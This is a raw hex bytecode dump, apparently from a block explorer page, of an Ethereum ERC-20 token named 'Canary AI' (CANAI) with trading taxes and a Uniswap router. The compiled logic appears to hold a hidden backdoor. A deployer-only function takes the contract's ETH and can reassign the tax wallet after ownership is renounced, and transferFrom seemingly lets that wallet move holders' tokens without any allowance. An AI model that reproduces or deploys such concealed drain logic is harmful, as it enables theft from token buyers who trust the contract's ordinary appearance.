565b6006545b8561195390919063ffffffff16565b6119ca90919063ffffffff16565b9050600b5f81548092919061132f90612963565b91905055505b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113bd57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561140a576113fe60646113f0600754600b54116113dd576005546113e1565b6006545b8561195390919063ffffffff16565b6119ca90919063ffffffff16565b905061140947611a13565b5b5f61141430610b43565b9050601060159054906101000a900460ff1615801561147f575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561148e5750600854600b54115b156114d357600c548111156114bb576114ba6114b5846114b084600d54611a7b565b611a7b565b611a93565b5b5f4790505f8111156114d1576114d047611a13565b5b505b505b5f8111156115d45761152d8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cfe90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115cb9190611fa6565b60405180910390a35b6116248260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d5b90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116c761167b8284611d5b90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cfe90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146117d4578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117be8486611d5b90919063ffffffff16565b6040516117cb9190611fa6565b60405180910390a35b50505050565b5f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806118835750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118dc575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156118e9578190506118ea565b5b9392505050565b5f838311158290611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f9190611e75565b60405180910390fd5b505f838561194691906129aa565b9050809150509392505050565b5f808303611963575f90506119c4565b5f828461197091906122e0565b905082848261197f91906124ec565b146119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b690612a4d565b60405180910390fd5b809150505b92915050565b5f611a0b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611da4565b905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611a77573d5f803e3d5ffd5b5050565b5f818311611a895782611a8b565b815b905092915050565b6001601060156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611aca57611ac9612a6b565b5b604051908082528060200260200182016040528015611af85781602001602082028036833780820191505090505b50905030815f81518110611b0f57611b0e612a98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bb3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bd7919061246d565b81600181518110611beb57611bea612a98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c5130600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610de7565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611cb3959493929190612b7c565b5f604051808303815f87803b158015611cca575f80fd5b505af1158015611cdc573d5f803e3d5ffd5b50505050505f601060156101000a81548160ff02191690831515021790555050565b5f808284611d0c9190612bd4565b905083811015611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4890612c51565b60405180910390fd5b8091505092915050565b5f611d9c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118f1565b905092915050565b5f8083118290611dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de19190611e75565b60405180910390fd5b505f8385611df891906124ec565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e4782611e05565b611e518185611e0f565b9350611e61818560208601611e1f565b611e6a81611e2d565b840191505092915050565b5f6020820190508181035f830152611e8d8184611e3d565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ec282611e99565b9050919050565b611ed281611eb8565b8114611edc575f80fd5b50565b5f81359050611eed81611ec9565b92915050565b5f819050919050565b611f0581611ef3565b8114611f0f575f80fd5b50565b5f81359050611f2081611efc565b92915050565b5f8060408385031215611f3c57611f3b611e95565b5b5f611f4985828601611edf565b9250506020611f5a85828601611f12565b9150509250929050565b5f8115159050919050565b611f7881611f64565b82525050565b5f602082019050611f915f830184611f6f565b92915050565b611fa081611ef3565b82525050565b5f602082019050611fb95f830184611f97565b92915050565b5f805f60608486031215611fd657611fd5611e95565b5b5f611fe386828701611edf565b9350506020611ff486828701611edf565b925050604061200586828701611f12565b9150509250925092565b5f60ff82169050919050565b6120248161200f565b82525050565b5f60208201905061203d5f83018461201b565b92915050565b5f61204d82611e99565b9050919050565b61205d81612043565b8114612067575f80fd5b50565b5f8135905061207881612054565b92915050565b5f6020828403121561209357612092611e95565b5b5f6120a08482850161206a565b91505092915050565b5f602082840312156120be576120bd611e95565b5b5f6120cb84828501611edf565b91505092915050565b6120dd81611eb8565b82525050565b5f6020820190506120f65f8301846120d4565b92915050565b5f806040838503121561211257612111611e95565b5b5f61211f85828601611edf565b925050602061213085828601611edf565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156121bc578086048111156121985761219761213a565b5b60018516156121a75780820291505b80810290506121b585612167565b945061217c565b94509492505050565b5f826121d4576001905061228f565b816121e1575f905061228f565b81600181146121f7576002811461220157612230565b600191505061228f565b60ff8411156122135761221261213a565b5b8360020a91508482111561222a5761222961213a565b5b5061228f565b5060208310610133831016604e8410600b84101617156122655782820a9050838111156122605761225f61213a565b5b61228f565b6122728484846001612173565b925090508184048111156122895761228861213a565b5b81810290505b9392505050565b5f6122a082611ef3565b91506122ab8361200f565b92506122d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846121c5565b905092915050565b5f6122ea82611ef3565b91506122f583611ef3565b925082820261230381611ef3565b9150828204841483151761231a5761231961213a565b5b5092915050565b7f6e6f74206465706c6f79657200000000000000000000000000000000000000005f82015250565b5f612355600c83611e0f565b915061236082612321565b602082019050919050565b5f6020820190508181035f83015261238281612349565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6123bd602083611e0f565b91506123c882612389565b602082019050919050565b5f6020820190508181035f8301526123ea816123b1565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612425601783611e0f565b9150612430826123f1565b602082019050919050565b5f6020820190508181035f83015261245281612419565b9050919050565b5f8151905061246781611ec9565b92915050565b5f6020828403121561248257612481611e95565b5b5f61248f84828501612459565b91505092915050565b5f6040820190506124ab5f8301856120d4565b6124b860208301846120d4565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6124f682611ef3565b915061250183611ef3565b925082612511576125106124bf565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61254861254361253e8461251c565b612525565b611ef3565b9050919050565b6125588161252e565b82525050565b5f60c0820190506125715f8301896120d4565b61257e6020830188611f97565b61258b604083018761254f565b612598606083018661254f565b6125a560808301856120d4565b6125b260a0830184611f97565b979650505050505050565b5f815190506125cb81611efc565b92915050565b5f805f606084860312156125e8576125e7611e95565b5b5f6125f5868287016125bd565b9350506020612606868287016125bd565b9250506040612617868287016125bd565b9150509250925092565b5f6040820190506126345f8301856120d4565b6126416020830184611f97565b9392505050565b61265181611f64565b811461265b575f80fd5b50565b5f8151905061266c81612648565b92915050565b5f6020828403121561268757612686611e95565b5b5f6126948482850161265e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6126f7602483611e0f565b91506127028261269d565b604082019050919050565b5f6020820190508181035f830152612724816126eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612785602283611e0f565b91506127908261272b565b604082019050919050565b5f6020820190508181035f8301526127b281612779565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612813602583611e0f565b915061281e826127b9565b604082019050919050565b5f6020820190508181035f83015261284081612807565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6128a1602383611e0f565b91506128ac82612847565b604082019050919050565b5f6020820190508181035f8301526128ce81612895565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61292f602983611e0f565b915061293a826128d5565b604082019050919050565b5f6020820190508181035f83015261295c81612923565b9050919050565b5f61296d82611ef3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361299f5761299e61213a565b5b600182019050919050565b5f6129b482611ef3565b91506129bf83611ef3565b92508282039050818111156129d7576129d661213a565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a37602183611e0f565b9150612a42826129dd565b604082019050919050565b5f6020820190508181035f830152612a6481612a2b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612af781611eb8565b82525050565b5f612b088383612aee565b60208301905092915050565b5f602082019050919050565b5f612b2a82612ac5565b612b348185612acf565b9350612b3f83612adf565b805f5b83811015612b6f578151612b568882612afd565b9750612b6183612b14565b925050600181019050612b42565b5085935050505092915050565b5f60a082019050612b8f5f830188611f97565b612b9c602083018761254f565b8181036040830152612bae8186612b20565b9050612bbd60608301856120d4565b612bca6080830184611f97565b9695505050505050565b5f612bde82611ef3565b9150612be983611ef3565b9250828201905080821115612c0157612c0061213a565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612c3b601b83611e0f565b9150612c4682612c07565b602082019050919050565b5f6020820190508181035f830152612c6881612c2f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c872f9bb6bf3dc700d78dcf08ef0651d7cdcf8d8b4e8aa42046d6d138900eb364736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100eb575f3560e01c806359a945e91161008957806395d89b411161005857806395d89b41146102d0578063a9059cbb146102fa578063bf474bed14610336578063dd62ed3e14610360576100f2565b806359a945e91461023e57806370a0823114610254578063715018a6146102905780638da5cb5b146102a6576100f2565b806318160ddd116100c557806318160ddd1461018657806323b872dd146101b0578063313ce567146101ec57806338e8904414610216576100f2565b806306fdde03146100f6578063095ea7b3146101205780630faee56f1461015c576100f2565b366100f257005b5f80fd5b348015610101575f80fd5b5061010a61039c565b6040516101179190611e75565b60405180910390f35b34801561012b575f80fd5b5061014660048036038101906101419190611f26565b6103d9565b6040516101539190611f7e565b60405180910390f35b348015610167575f80fd5b506101706103f6565b60405161017d9190611fa6565b60405180910390f35b348015610191575f80fd5b5061019a6103fc565b6040516101a79190611fa6565b60405180910390f35b3480156101bb575f80fd5b506101d660048036038101906101d19190611fbf565b61041f565b6040516101e39190611f7e565b60405180910390f35b3480156101f7575f80fd5b506102006104fd565b60405161020d919061202a565b60405180910390f35b348015610221575f80fd5b5061023c6004803603810190610237919061207e565b610505565b005b348015610249575f80fd5b50610252610622565b005b34801561025f575f80fd5b5061027a600480360381019061027591906120a9565b610b43565b6040516102879190611fa6565b60405180910390f35b34801561029b575f80fd5b506102a4610b89565b005b3480156102b1575f80fd5b506102ba610cd7565b6040516102c791906120e3565b60405180910390f35b3480156102db575f80fd5b506102e4610cfe565b6040516102f19190611e75565b60405180910390f35b348015610305575f80fd5b50610320600480360381019061031b9190611f26565b610d3b565b60405161032d9190611f7e565b60405180910390f35b348015610341575f80fd5b5061034a610d58565b6040516103579190611fa6565b60405180910390f35b34801561036b575f80fd5b50610386600480360381019061038191906120fc565b610d5e565b6040516103939190611fa6565b60405180910390f35b60606040518060400160405280600981526020017f43616e6172792041490000000000000000000000000000000000000000000000815250905090565b5f6103ec6103e5610de0565b8484610de7565b6001905092915050565b600d5481565b5f6009600a61040b9190612296565b633b9aca0061041a91906122e0565b905090565b5f61042b848484610faa565b6104f284610437610de0565b6104ed6104458888886117da565b604051806060016040528060288152602001612c706028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104a4610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118f19092919063ffffffff16565b610de7565b600190509392505050565b5f6009905090565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058b9061236b565b60405180910390fd5b61059c610de0565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156105de573d5f803e3d5ffd5b508060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61062a610de0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ad906123d3565b60405180910390fd5b601060149054906101000a900460ff1615610706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fd9061243b565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107a230600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61078e9190612296565b633b9aca0061079d91906122e0565b610de7565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610830919061246d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108da919061246d565b6040518363ffffffff1660e01b81526004016108f7929190612498565b6020604051808303815f875af1158015610913573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610937919061246d565b60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306103e86103d46109c430610b43565b6109ce91906122e0565b6109d891906124ec565b5f806109e2610cd7565b426040518863ffffffff1660e01b8152600401610a049695949392919061255e565b60606040518083038185885af1158015610a20573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a4591906125d1565b50505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ae5929190612621565b6020604051808303815f875af1158015610b01573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b259190612672565b506001601060146101000a81548160ff021916908315150217905550565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b91610de0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c14906123d3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f43414e4149000000000000000000000000000000000000000000000000000000815250905090565b5f610d4e610d47610de0565b8484610faa565b6001905092915050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4c9061270d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eba9061279b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f9d9190611fa6565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611018576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100f90612829565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107d906128b7565b60405180910390fd5b5f81116110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf90612945565b60405180910390fd5b5f6110d1610cd7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561113f575061110f610cd7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561117757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111af57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114d5576111dc60646111ce600a548561195390919063ffffffff16565b6119ca90919063ffffffff16565b905060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112875750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112da575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156113355761131b606461130d600754600b54116112fa576005546112fe565b6006545b8561195390919063ffffffff16565b6119ca90919063ffffffff16565b9050600b5f81548092919061132f90612963565b91905055505b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113bd57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561140a576113fe60646113f0600754600b54116113dd576005546113e1565b6006545b8561195390919063ffffffff16565b6119ca90919063ffffffff16565b905061140947611a13565b5b5f61141430610b43565b9050601060159054906101000a900460ff1615801561147f575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561148e5750600854600b54115b156114d357600c548111156114bb576114ba6114b5846114b084600d54611a7b565b611a7b565b611a93565b5b5f4790505f8111156114d1576114d047611a13565b5b505b505b5f8111156115d45761152d8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cfe90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115cb9190611fa6565b60405180910390a35b6116248260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d5b90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116c761167b8284611d5b90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cfe90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146117d4578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117be8486611d5b90919063ffffffff16565b6040516117cb9190611fa6565b60405180910390a35b50505050565b5f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806118835750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118dc575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156118e9578190506118ea565b5b9392505050565b5f838311158290611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f9190611e75565b60405180910390fd5b505f838561194691906129aa565b9050809150509392505050565b5f808303611963575f90506119c4565b5f828461197091906122e0565b905082848261197f91906124ec565b146119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b690612a4d565b60405180910390fd5b809150505b92915050565b5f611a0b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611da4565b905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611a77573d5f803e3d5ffd5b5050565b5f818311611a895782611a8b565b815b905092915050565b6001601060156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611aca57611ac9612a6b565b5b604051908082528060200260200182016040528015611af85781602001602082028036833780820191505090505b50905030815f81518110611b0f57611b0e612a98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bb3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bd7919061246d565b81600181518110611beb57611bea612a98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c5130600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610de7565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611cb3959493929190612b7c565b5f604051808303815f87803b158015611cca575f80fd5b505af1158015611cdc573d5f803e3d5ffd5b50505050505f601060156101000a81548160ff02191690831515021790555050565b5f808284611d0c9190612bd4565b905083811015611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4890612c51565b60405180910390fd5b8091505092915050565b5f611d9c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118f1565b905092915050565b5f8083118290611dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de19190611e75565b60405180910390fd5b505f8385611df891906124ec565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e4782611e05565b611e518185611e0f565b9350611e61818560208601611e1f565b611e6a81611e2d565b840191505092915050565b5f6020820190508181035f830152611e8d8184611e3d565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ec282611e99565b9050919050565b611ed281611eb8565b8114611edc575f80fd5b50565b5f81359050611eed81611ec9565b92915050565b5f819050919050565b611f0581611ef3565b8114611f0f575f80fd5b50565b5f81359050611f2081611efc565b92915050565b5f8060408385031215611f3c57611f3b611e95565b5b5f611f4985828601611edf565b9250506020611f5a85828601611f12565b9150509250929050565b5f8115159050919050565b611f7881611f64565b82525050565b5f602082019050611f915f830184611f6f565b92915050565b611fa081611ef3565b82525050565b5f602082019050611fb95f830184611f97565b92915050565b5f805f60608486031215611fd657611fd5611e95565b5b5f611fe386828701611edf565b9350506020611ff486828701611edf565b925050604061200586828701611f12565b9150509250925092565b5f60ff82169050919050565b6120248161200f565b82525050565b5f60208201905061203d5f83018461201b565b92915050565b5f61204d82611e99565b9050919050565b61205d81612043565b8114612067575f80fd5b50565b5f8135905061207881612054565b92915050565b5f6020828403121561209357612092611e95565b5b5f6120a08482850161206a565b91505092915050565b5f602082840312156120be576120bd611e95565b5b5f6120cb84828501611edf565b91505092915050565b6120dd81611eb8565b82525050565b5f6020820190506120f65f8301846120d4565b92915050565b5f806040838503121561211257612111611e95565b5b5f61211f85828601611edf565b925050602061213085828601611edf565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156121bc578086048111156121985761219761213a565b5b60018516156121a75780820291505b80810290506121b585612167565b945061217c565b94509492505050565b5f826121d4576001905061228f565b816121e1575f905061228f565b81600181146121f7576002811461220157612230565b600191505061228f565b60ff8411156122135761221261213a565b5b8360020a91508482111561222a5761222961213a565b5b5061228f565b5060208310610133831016604e8410600b84101617156122655782820a9050838111156122605761225f61213a565b5b61228f565b6122728484846001612173565b925090508184048111156122895761228861213a565b5b81810290505b9392505050565b5f6122a082611ef3565b91506122ab8361200f565b92506122d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846121c5565b905092915050565b5f6122ea82611ef3565b91506122f583611ef3565b925082820261230381611ef3565b9150828204841483151761231a5761231961213a565b5b5092915050565b7f6e6f74206465706c6f79657200000000000000000000000000000000000000005f82015250565b5f612355600c83611e0f565b915061236082612321565b602082019050919050565b5f6020820190508181035f83015261238281612349565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6123bd602083611e0f565b91506123c882612389565b602082019050919050565b5f6020820190508181035f8301526123ea816123b1565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612425601783611e0f565b9150612430826123f1565b602082019050919050565b5f6020820190508181035f83015261245281612419565b9050919050565b5f